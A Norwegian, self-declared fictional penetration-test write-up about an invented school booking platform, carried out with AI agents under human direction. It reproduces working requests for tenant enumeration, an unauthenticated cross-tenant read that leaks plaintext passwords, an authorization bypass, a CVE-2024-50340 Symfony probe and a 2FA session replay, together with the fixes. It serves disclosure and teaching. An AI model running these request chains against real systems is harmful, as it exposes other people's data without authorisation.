Cross-tenant-funnet overlevde verifiseringen — og var verre
- #pentest
- #api-security
- #idor
- #multi-tenant
- #ai
- #security
FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke
verifiseringen — en negativ kontroll nedgraderte det fra brudd til
støy.
Denne gangen var det omvendt: det som så ut som et enkelt manglende
autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var
verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget
var også det enkleste: et uautentisert GET mot et resource-endepunkt som
returnerte andre tenants' bookinger med passord i klartekst.
Kontekst
Kunden, Brunost AS (brunostas.no), driver et booking- og resurssystem
solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget
subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen
Tor Jacobsen ([email protected]) ba om én ting: «kom inn, finn
kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under
brunostas.no og brunolearn.no, uautentisert testing, med strenge
provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og
ILAIT/FS Data skulle ikke røres.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar vurderingene og gjør de bitene som krever menneskelig dømmekraft — verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de uautentiserte. Det var det kartet som åpnet hele kjeden.
Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst
Booking-API-et på api-booking.brunostas.no er en Node/Express-backend
foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en
JS-adminaged cookie kalt auth, andre er åpne. Problemet er at
resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne
familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om
kalleren tilhører workspace-en den spør om.
Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle bookinger med passord.
PoC / Reproduksjon
Forutsetninger: ingen. Hele kjeden er uautentisert — ingen konto, ingen sesjon, ingen header. Det er poenget, og det er det den negative kontrollen under bekrefter.
1. Enumer tenantene via subdomain-koder
SPA-bundlen avslørte at workspace-oppslag skjer via
/workspaces/subdomain/{subdomain}, og subdomain-kodene er tre bokstaver. Jeg
lot AI-en sette opp en ffuf-kjøring mot endepunktet med en tre-bokstavs
ordliste, rate-begrenset til 40 forespørsler per sekund:
ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \
-w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -sGET /workspaces/subdomain/lkm HTTP/1.1
Host: api-booking.brunostas.no
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}}56 tenants kom tilbake med 200. Hver respons avslørte workspace-id, navn,
eier-UUID og — viktigst — readPasswordEnabled og writePasswordEnabled.
55 av 56 hadde begge satt til false. Én tenant hadde writePasswordEnabled: true; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke
eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som
API-et uansett ikke håndhever (se steg 4).
2. Les en resource med alle bookinger og passord
Fra resource-stat-endepunktet (/resource-bookings/resource-stat?workspaceId=8,
også uautentisert 200) fikk jeg resource-navn og booking-antall. Men det var
GET /resources/{resourceUuid} som var det virkelige hullet — det returnerer
hele resource-objektet med alle bookinger, inkludert bookedBy-navn og et
password-felt i klartekst:
GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1
Host: api-booking.brunostas.no
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3122538
{"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"<REDACTED-PLAINTEXT>","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}}Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke
bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så
det var det jeg tok. Passordfeltet var der, i klartekst, for en booking
bookedBy en navngitt person i en annen tenants workspace. Jeg hadde aldri
logget inn. Jeg hadde aldri engang oppgitt et workspace-passord.
3. Negativ kontroll — autorisasjonsporten som sjekker ingenting
Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet
brudd. Booking-API-et har to autorisasjonsporter, /resource-bookings/view/authorize
og /resource-bookings/write/authorize, som skal validere workspace og
passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to
workspace-id-er som ikke finnes (999998 og 999999) med to forskjellige
tilfeldige passord:
POST /resource-bookings/view/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"}
HTTP/1.1 200 OK
{"ok":true,"result":true}POST /resource-bookings/write/authorize HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":999998,"password":"different-arbitrary-canary"}
HTTP/1.1 200 OK
{"ok":true,"result":true}Begge portene returnerte result:true for en workspace som ikke eksisterer,
med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne
kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig
ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende
tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op.
4. Skrive-pipelinen når forretningslogikk uten autentisering
For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete med bevisst ikke-eksisterende UUID-er mot to eksisterende workspaces. Målet var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken:
POST /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Content-Type: application/json
{"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]}
HTTP/1.1 404 Not Found
{"code":"resource_not_found","message":"Not Found","ok":false}404 resource_not_found, ikke 401 Unauthorized. Forespørselen passerte
auth-middleware, nådde resource-oppslaget, og feilet først der — fordi
UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville
den nått create-logikken. Samme mønster for /resource-bookings/bulk/delete:
404 resource_not_found, ikke 401. Jeg opprettet eller slettet ingen
ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg
ikke.
5. Wildcard-CORS gjør det cross-origin utnyttbart
Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at skrive-pipelinen er callable fra en hvilken som helst nettside i en brukers browser. OPTIONS-preflight:
OPTIONS /resource-bookings/bulk HTTP/1.1
Host: api-booking.brunostas.no
Origin: https://evil.example.net
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-typeAccess-Control-Allow-Origin: * på create-, delete- og
authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese
responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side
kan lese andre tenants' bookinger og passord i en innlogget brukers browser.
Mitigering
Kjernen er at resource-, booking- og autorisasjonsrutene mangler server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig, tenant-scoped autorisasjon på hver resource-, workspace- og booking-operasjon, og fjerne passord fra API-responser og lagring helt.
router.get('/resources/:uuid', async (req, res) => {
- const resource = await getResource(req.params.uuid);
+ const user = await requireAuth(req);
+ const resource = await getResource(req.params.uuid);
+ if (resource.workspaceId !== user.workspaceId) return res.status(404).end();
res.json({ ok: true, result: resource });
});-const authorized = await checkWorkspacePassword(workspaceId, password);
+const user = await requireAuth(req);
+if (!user || user.workspaceId !== workspaceId) return res.status(401).end();I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut
wildcard-CORS med en allowlist over godkjente originer, og returner 404
(ikke 403) på fremmede UUID-er så existence ikke bekreftes.
CVE-2024-50340: Symfony dev-mode på Assist
Assist-portalen (assist.brunostas.no) er en Symfony 7.0.10-app. En agent
flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en
uautentisert requester bytte kernel-miljø via en rå query-string. Jeg
reproduserte det manuelt med et lite Python-script — to eksakte
gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess:
GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1
Host: assist.brunostas.no
Accept: text/html
Connection: close
HTTP/1.1 500 Internal Server Error
X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found
X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136
Content-Type: text/html; charset=utf-8
[full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace]Begge gjengivelsene returnerte identisk body-SHA-256
(abf4413c...), og GET /auth/login/ etterpå ga normal 200 —
miljøbyttet er per-request, ikke persistent.
Jeg forsøkte å kjede det videre — profiler, /_wdt, /_fragment,
/.env, /composer.json, kildekode. Alt stoppet i det samme
DebugBundle-feilen: dev-kernelen kan ikke boote fordi
DebugBundle ikke er installert i produksjon. Ingen APP_SECRET,
ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet,
men impacten her er informasjonsdisclosure og tilgjengelighet, ikke
kodekjøring.
High — uautentisert, reprodusert to ganger, og det
som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn
i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony
7.0 til en patchet linje, sett register_argc_argv=Off for web-SAPI, og
strip debug-headere i edge-en.
2FA som ikke invaliderer eksisterende sesjon
På en seljregistrert canary-konto testet jeg Assist sin
2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller
invaliderer en PHPSESSID utstedt mens 2FA var av.
Forutsetninger: eid canary, 2FA av, autentisert PHPSESSID lagret i
minnet.
- Logg inn med canary, lagre
PHPSESSID. - Aktiver e-post-2FA:
POST /auth/2fa/set/email/→302til/dash/settings/2fa/. Sesjons-ID er uendret. - I en ny, isolert browserkontekst: sett inn den eksakte pre-enable
cookie-en og naviger til
GET /dash/. - Resultat:
200med canary-dashbordet, ingen 2FA-utfordring.
Negativ kontroll: direkte navigasjon til /dash/ etter passord men
før OTP → redirect til /auth/2fa. Fjernet/array-typet
_auth_code → ingen bypass. Respons-tampering → ingen bypass. Gammel
OTP i ny login → avvist. Det er ikke en login-bypass — det er at en
allerede stjålet sesjon overlever 2FA-aktivering. En angriper som
allerede har sesjonen, beholder tilgangen inntil utlogging eller
server-side utløp.
Medium. Opprydding: jeg deaktiverte 2FA, logget ut,
verifiserte at uautentisert /dash/ redirecter til /auth/login/, og
beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle
andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte.
De andre funnene
Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det samme eller er lavere alvorlighetsgrad:
-
Åpen seljregistrering på Assist High.
/auth/register/oppretter en «Konsulent»-konto uten e-postverifikasjon eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning. -
SendGrid API-token i offentlig repo High. I et offentlig GitHub-repo (
eivindm/PostSender, filPostSenderAPI.py:8, commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet[email protected]i samme fil. Gitleaks og en uavhengig TruffleHog-detector fant samme verdi. Jeg validerte den ikke mot SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra Git-historikk, og flytt secrets til miljøbasert lagring. -
Ingen login-throttling eller lockout på Assist Medium. Gjentatte feilede innlogginger ga ingen
429, ingen utlåsing, ingen backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i klartekst — de kan prøves mot Assist-login. Fiks: per-konto og per-kilde throttling, eksponentiell backoff, breached-password-sjekk. -
Brukernummerering på Assist Medium. Duplikat-registrering og timing-forskjeller skiller eksisterende fra ikke-eksisterende kontoer. Fiks: identisk status, body og timing for begge tilfeller.
-
Default Apache-origin på storage Medium.
storage.brunostas.noserverer en ukonfigurert Apache-defaultside og avslører en tilsynelatende direkte origin. Samme mønster som origin-serveren som omgikk Cloudflare i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til tiltenkt reverse proxy. -
Booking-API enumererer brukere Low.
/users/loginreturnerer distinkteuser_does_not_exist-responser som avslører gyldige kontoer. Fiks: normaliser auth-feil og timing.
Blindveier og forkastede falske positiver
Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det som så lovende ut og ikke holdt:
-
Assist admin/export-tilgang. Seljregistrerte konsulent-kontoen fikk 403/404 på admin, location, ticket og export-ruter. Header-manipulasjon, metode-negotiation,
_switch_user,_format, mass-assignment og objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten var spesifikt testet — den var ikke tilgjengelig uautentisert og returnerte ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal ikke rapporteres som en PII-lekkasje. -
Booking admin-token. Bearer null/undefined, usignert
alg:none-JWT, rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og prototype-pollution ga ingen token. Én passord-reuse-pass mot fem bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert. -
Injection. 74 begrensede forespørsler mot booking og assist — SQL, NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine
500-responser med interne stier/stack-traces var feilhåndtering og uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste ingen differential. -
XSS og prototype-pollution. Ingen reflektert eller DOM-XSS; Assist kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før innsending. Booking sin
defaultSettingsJSON-til-Lodash-merge-endringObject.prototypeikke. Ingen security-impact-gadget. -
On-prem CVE-er. Ingen bekreftet. CVE-2024-38475/38474, CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var negativ — ingen bekreftet CVE utover Assist-funnet.
Verktøy og hvem som kjørte hva
- Endepunkt-kartlegging: agent parslet booking-SPA-bundlen offline og rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert.
- Tenant-enumerasjon:
ffufmot/workspaces/subdomain/FUZZmed tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte rate-limit og scope. - IDOR-verifisering: resource-lesing og autorisasjonsport-testene kjørte agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og bestemte at bulk-responsen ikke skulle lagres.
- CVE-2024-50340: jeg skrev og kjørte
probe_runtime.pymanuelt — to eksakte GET-gjengivelser, en diskriminator og en helsesjekk. - 2FA-replay: jeg gjorde hele arbeidsflyten i Playwright mot den eid canary-en manuelt; agenten skrev en offline verifikator som sjekket det redigerte beviset mot faste assertions.
- SendGrid-token: Gitleaks og TruffleHog (offline, verifikasjon av) — AI-kjørt. Ingen SendGrid-forespørsel ble gjort.
Hva jeg lærte
- Det enkleste endepunktet var det verste. Ingen smart bypass, ingen
kjedet 0-day — bare et
GETuten autentisering som returnerte passord. Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener mest oppmerksomhet, ikke de som krever token. - Den negative kontrollen bestemmer alvorlighetsgraden. At
autorisasjonsporten returnerte
truefor en ikke-eksisterende tenant med søppelpassord, er det som gjør dette til et bekreftet brudd og ikke «kanskje det er offentlig ved design». At bulk-create returnerte404og ikke401, beviser at auth-middleware er passert. - Passord i API-responser er en force-multiplier. Selve lekkasjen er alvorlig; at passordene kan prøves mot Assist-login (som ikke har throttling) gjør det til et sammensatt scenario. Behandle passord-eksponering som et credential-rot-event, ikke bare en data-lekkasje.
- Bounded negatives er funn de også. At Excel-eksporten holdt, at injection var negativ, at dev-kernelen ikke kunne boote — disse er det som holder alvorlighetsgraden nøyaktig. En agent produserer plausible funn fort; verifiseringen er det som skiller dem fra støy.
Veien videre
Førsteprioritet er booking-API-et: steng eller firewall det inntil
autorisasjon er på plass, fjern passord fra responser, og roter alle
eksponerte passord. Deretter Symfony-oppgradering og
SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at
en uautentisert requester mot /resources/{uuid} i en annen tenant
returnerer 404 — ikke 200 med passord. Det er testen som ville fanget
dette før det nådde produksjon, og det er testen som holder det fikset.